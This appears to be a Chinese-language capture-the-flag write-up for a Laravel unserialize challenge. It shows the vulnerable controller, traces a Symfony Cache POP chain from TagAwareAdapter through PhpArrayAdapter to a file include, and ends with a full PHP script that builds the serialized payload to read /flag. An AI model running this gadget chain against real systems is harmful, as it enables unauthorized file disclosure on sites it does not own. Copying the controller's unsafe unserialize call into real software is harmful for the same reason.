是laravel的反序列化
首先了解一下laravel的结构
就是代码有些多,头有些大
<?php //backup in source.tar.gz namespace App\Http\Controllers; class IndexController extends Controller { public function index(\Illuminate\Http\Request $request){ $payload=$request->input("payload"); if(empty($payload)){ highlight_file(__FILE__); }else{ @unserialize($payload); } } }
下载源码审计,寻找pop链
反序列化肯定要先找可利用的魔术方法了
寻找__destruct
看了半天 只有一个好像能用(?)
调用了commit()然后又调用了invalidatetags
跟进
调用了一个savedeferred 跟进,我们可以调用任意一个实现了saveDeferred方法的类,所以我们可以找到这些类
有很多 一个一个看完以后发现选择vendor/symfony/symfony/src/Symfony/Component/Cache/Adapter/PhpArrayAdapter.php
发现这里调用了initialize函数
跟进
可以发现这里有文件包含,所以pop链清晰了
肯定是最初的__destrcut,
然后走到invalidatetags的类,有调用
$this->pool->saveDefeffed(),所以pool值就是我们要用的'/flag'
而Savedefereed入口是cacheiteminterface的对象,也就是实现了该接口的类的对象,而从文件头use引入的类中可以看到cacheitem类,我们跟进,因此只需要定义$this->deferred = array(‘xxx’ => new CacheItem());
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | <?php namespace Symfony\Component\Cache{ final class CacheItem{ } } namespace Symfony\Component\Cache\Adapter{ use Symfony\Component\Cache\CacheItem; class PhpArrayAdapter{ private $file; public function __construct() { $this->file = '/flag'; } } class TagAwareAdapter{ private $deferred = []; private $pool; public function __construct() { $this->deferred = array('flight' => new CacheItem()); $this->pool = new PhpArrayAdapter(); } } } namespace { use Symfony\Component\Cache\Adapter\TagAwareAdapter; $obj = new TagAwareAdapter(); echo urlencode(serialize($obj)); } |